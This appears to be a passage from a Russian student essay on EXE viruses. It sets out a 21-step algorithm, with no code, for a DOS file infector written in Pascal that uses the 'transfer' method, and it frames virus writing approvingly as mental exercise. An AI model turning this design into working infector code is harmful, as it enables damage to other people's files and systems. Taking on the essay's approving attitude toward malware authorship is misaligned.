Вирусы - это хорошая гимнастика для ума, хотя многие думают, что написать вирус на языке высокого уровня весьма трудно. Это не совсем так. Писать на языке Pascal довольно легко, правда величина получен- ного кода вызывает благоговейный трепет.


Внедрение способом переноса


Вирусы данного типа размножаются следующим образом. Из инфициру- емой программы от начала файла считывается часть кода, по длине рав- ная длине вируса. На освободившееся место вписывается вирус, а оригинальное начало программы переносится в конец файла. Отсюда и название метода - "метод переноса". Есть и другие варианты. Иногда, например, начало программы записывается в середину файла, а середина переносится в конец, чтобы еще сильнее все запутать. Превосходство дан- ного метода над другими описанными в том, что инфицированная про- грамма исполняется в том же виде, в каком она была до заражения, из файла с тем же именем и расширением. То есть программы, проверя- ющие себя на предмет заражения вирусом, его не замечают. Корректно исполняются и такие программы, которые ищут свои файлы конфигура- ции с именами:


ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI


Недостаток данного метода проявляется при сбоях в работе компьюте- ра. Если при исполнении инфицированной программы компьютер "повиснет" или произойдет перезагрузка системы, инфицированная


программа окажется "чистой", то есть без вируса. Но, во-первых, "кто не рискует, тот не пьет шампанского", а во-вторых, программы виснут редко. Алгоритм работы такого вируса следующий:


1. Открыть файл, из которого получено управление.


2. Считать в буфер тело вируса.


3. Закрыть файл.


4. Найти файл-жертву.


5. Открыть файл-жертву.


6. Проверить файл на повторное заражение (здесь могут быть вариан- ты, но чаще всего используется сигнатура).


7. Если файл уже инфицирован, перейти к пункту 3.


8. Считать в буфер из начала найденного файла фрагмент программы, по длине равный телу вируса.


9. Записать в начало файла тело вируса из буфера.


10. Дописать в конец файла считанное начало программы из буфера. Длина программы увеличилась на длину вируса.


11. Закрыть файл-жертву.


12. Открыть файл, из которого стартовали.


13. Считать в буфер начало инфицированной программы, расположен- ное в конце файла.


14. Записать считанное начало программы поверх кода вируса в начало файла.


15. Сократить файл до его оригинальной длины (то есть удалить часть кода, по длине равную длине тела вируса, в конце файла).


16. Закрыть файл.


17. Процедурой Ехес запустить стартовый файл (ParamStr(O)) на ис- полнение - выполнится инфицированная программа.


18. После завершения работы программы опять открыть стартовый файл.


19. Записать в начало файла тело вируса, а оригинальное начало про- граммы опять переместить в конец файла.


20. Закрыть файл.


21. Вернуть управление в DOS.

Сохранить в соц. сетях:
Обсуждение:
comments powered by Disqus

Название реферата: Exe-вирусы

Слов:5371
Символов:42890
Размер:83.77 Кб.